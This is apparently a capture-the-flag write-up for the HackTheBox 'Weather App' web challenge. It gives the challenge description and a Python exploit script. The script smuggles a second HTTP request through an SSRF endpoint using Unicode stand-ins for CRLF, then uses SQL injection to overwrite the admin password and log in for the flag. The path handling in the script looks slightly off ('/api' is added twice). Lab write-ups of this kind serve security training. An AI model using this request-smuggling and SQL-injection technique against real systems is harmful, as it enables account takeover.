https://app.hackthebox.com/challenges/196

Description

A pit of eternal darkness, a mindless journey of abeyance, this feels like a never-ending dream. I think I’m hallucinating with the memories of my past life, it’s a reflection of how thought I would have turned out if I had tried enough. A weatherman, I said! Someone my community would look up to, someone who is to be respected. I guess this is my way of telling you that I’ve been waiting for someone to come and save me. This weather application is notorious for trapping the souls of ambitious weathermen like me. Please defeat the evil bruxa that’s operating this website and set me free! 🧙‍♀️

Exploitation

#!/usr/bin/python3
import sys,requests

def get_base_url():
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <ip:port>")
        sys.exit(1)
    host, port = sys.argv[1].split(':')
    return f"http://{host}:{port}/api"

def encode_special_chars(value):
    return value.replace(" ", "\u0120").replace("'", "\u0127").replace('"', "\u0122")

BASE_URL = get_base_url()
url = f'{BASE_URL}/api/weather'
host = "127.0.0.1"
username = 'admin'
password = "111') ON CONFLICT (username) DO UPDATE SET password='1234';--"
parsed_username = encode_special_chars(username)
parsed_password = encode_special_chars(password)
content_length = len(parsed_username) + len(parsed_password) + len("username=&password=")
endpoint = (
    f"{host}/\u0120HTTP/1.1\u010D\u010A"
    f"HOST:\u0120{host}\u010D\u010A"
    f"Content-Length:\u01200\u010D\u010A\u010D\u010A"
    f"POST\u0120/register\u0120HTTP/1.1\u010D\u010A"
    f"HOST:\u0120{host}\u010D\u010A"
    f"Content-Type:\u0120application/x-www-form-urlencoded\u010D\u010A"
    f"Content-Length:\u0120{content_length}\u010D\u010A\u010D\u010A"
    f"username={parsed_username}&password={parsed_password}\u010D\u010A\u010D\u010A"
    f"GET\u0120"
)
data = {
    "endpoint": endpoint,
    "city": "MyCity",
    "country": "MyCountryCode"
}
response = requests.post(url, json=data)
print("SSRF Exploit Response:")
print(response.text)
login_url = f'{BASE_URL}/login'
login_data = {
    "username": "admin",
    "password": "1234"
}
flag_response = requests.post(login_url, data=login_data)
print("Flag Retrieval Response:")
print(flag_response.text)

Summary

Weather App: use SSRF to reach the hidden service or file path and pull the flag.